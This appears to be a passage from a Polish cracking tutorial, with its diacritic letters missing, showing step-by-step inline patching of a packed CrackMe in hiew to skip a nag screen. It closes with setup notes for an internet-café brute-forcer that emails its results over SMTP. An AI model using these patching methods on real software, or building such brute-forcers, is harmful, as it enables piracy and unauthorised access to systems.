by kadziony na stos virtual offset naszego drugiego patch'a. Pamitajmy jednak, e gdzie w kodzie packera dodawany jest image base. Co musimy wic najpierw zrobi? Oki, obliczmy vo naszego drugiego patcha, ale bez image base. Musimy jednak jeszcze wiedzie w jakiej sekcji bdzie on umieszczony. Porwnajmy wic nasze ro z ro poszczeglnych sekcji. Wychodzi nam, e nasz patch bdzie umieszczony w .rsrc (s dwie takie sekcje w CrackMe, chodzi mi o t pierwsz). Oki obliczamy wedug wzoru:

vo_patcha2 = C80h - A00h + 4000h = 4280h

Oki, teraz t warto musimy wstawi w miejsce wartoci wkadanej na stos. A jaki jest offset tego miejsca? zobacz jeszcze raz:

0167:0040F48A 6800104000 PUSH 00401000 ; OEP

offset wic rwna si 0040F48A+1. Dlaczego plus 1? Poniewa, nie bdziemy od nowa wstawiali instrukcji push (68h), tylko sama warto wkadana jest na stos. Oki, teraz musimy obliczy vo pierwszego patcha:

vo_patcha1 = B90h - A00 + 4000h + 400000h = 404190h

Oki, wreszcie mamy ju wszystko i otwieramy CrackMe pod hiew. Przechodzimy do miejsca, gdzie mamy wywoa naszego pierwszego patcha, czyli:

0167:0040F1E6  F3A5     REPZ MOVSD  ; kopiowanie odpackowanej czci
                                    ; programu
0167:0040F1E8  03C8     ADD       ECX,EAX.

Wanie, skok do patch'a bdzie dokadnie pod offsetem 40F1E8 (ro=6C87h). Spiszmy sobie teraz instrukcje ktre zostan zamienione na skok do patcha (musimy przecie przywrci ten kod). No dobra otwieramy teraz hiew, F4, F3, F5 i wpisujemy 6C87. Teraz F3, F2 i wpisujemy poniszy kod asm:

push    eax                 ; potem przywrcimy warto tego rejestru
mov     eax, 404190         ; offset naszego pierwszego patch'a
jmp     eax                 ; no i tam wanie skaczemy

teraz przenosimy sie do offsetu gdzie bdzie nasz patch (F5 i wpisujemy B90). Oto kod asm, ktry bdzie odpowiedzialny za pierwszy patch:

mov     eax, 40F1E8             ; offset miejsca, z ktrego skoczylimy do
                                ; pierwszego patcha - musimy przecie
                                ; przywrci oryginalne bajty
mov     d,[eax], 0E183C803      ; tutaj wanie przywracamy poprzednie
mov     d,[eax+4], 0EBA4F303    ; instrukcje
mov     eax, 40F48B             ; offset miejsca, gdzie jest push                                         
                                ; wrzucajcy na stos OEP
mov     w,[eax], 4280           ; my oczywicie przekierowujemy do naszego
                                ; drugiego patcha
pop     eax                     ; przywracamy warto rejestru eax
push    40F1E8                  ; powrt do kodu packera
ret                             ;

Po wykonaniu powyszego kodu, kod packera nie ulegnie zmianie w stosunku do oryginau, a my bdziemy mieli na kocu skok do naszego drugiego patcha, zamiast do OEP. Oki, teraz czas napisa naszego drugiego patch'a. Naciskamy wic F5 i wpisujemy C80. Oto posta kodu asm, jaka powinna si tam znale:

mov     eax, 401016         ; offset call'a z ktrego wywoywany jest nag
mov     w,[eax], 03EB       ; skok, ktry ominie naga
push    401000
ret                         ; skok do OEP

I to juz wszystko, zapisujemy zmiany i uruchamiamy CrackMe. Widziae gdzie naszego nag'a? :)

ps. jeeli nic nie zrozumiae z tego tutoriala, to spatchuj crackmes'a i przeled kod pod SoftIce. Tam ju wyranie wszystko wida.

Tymon // AAoCG | HTBTeam tymon_crk@wp.pl

greetz fly to:

* ged_ * hauer * kwasek * snatch * tomkol * ved * veneta * zakonna *
* all AAoCG & HTBTeam m3mb3rs *

End text by Tymon

Jak wida trzeba byo waln a dwa inline patche, niele to wymyli po prostu fajny i bardzo ciekawy sposb inline patcha :)

Aha jeli bdziesz chcia sobie potestowa brutala tego kafejkowego, to przed tym wpisz adres smtp i maila na ktry by chcia aeby program wysya ci maila np.
smtp_server db 'xx.xx.xx',0 np. na smtp_server db 'smtp.wp.pl',0
email_address db 'xxxxx@xx.xx',0 np. na email_address db 'crack@wp.pl',0
Teraz skompiluj go, i moesz spokojnie go odpali. Pamitaj jeli bdziesz zmienia wartoci takie jak np: cmd_helo to nie zapomnij zmieni jego wielkoci podawanej w rejestrze ecx.
    Przyklad:
        .data
    cmd_helo    db      'HELO xxx',CRLF
        .code

        mov     esi,offset cmd_helo
        push    10                              ;wielko cmd_helo
        pop     ecx
        call    write_socket                    ;send HELO command
        call    get_response
        jc      err_socket
Tak samo musisz zrobi w przypadku:
    cmd_mailfrom
    cmd_rcptto
    cmd_data
    cmd_term
    cmd_quit

Pozdrowionka:

WiteG: Zastosowae fajny trik w twoim 3 CrackMe, brakuje mi tylko 1 bajcik :(, Ged by szybszy
tomkol: c4u = mao miejsca = zmaza wszystkie cm napisane w delphi w tym moje, ewentualnie da linka
JuBe: Cm 9.2 mae szanse na zamanie
tymon: Za now er brute-force, (cofam si w rozwoju, nie mogem sobie poradzi z gupim nagiem)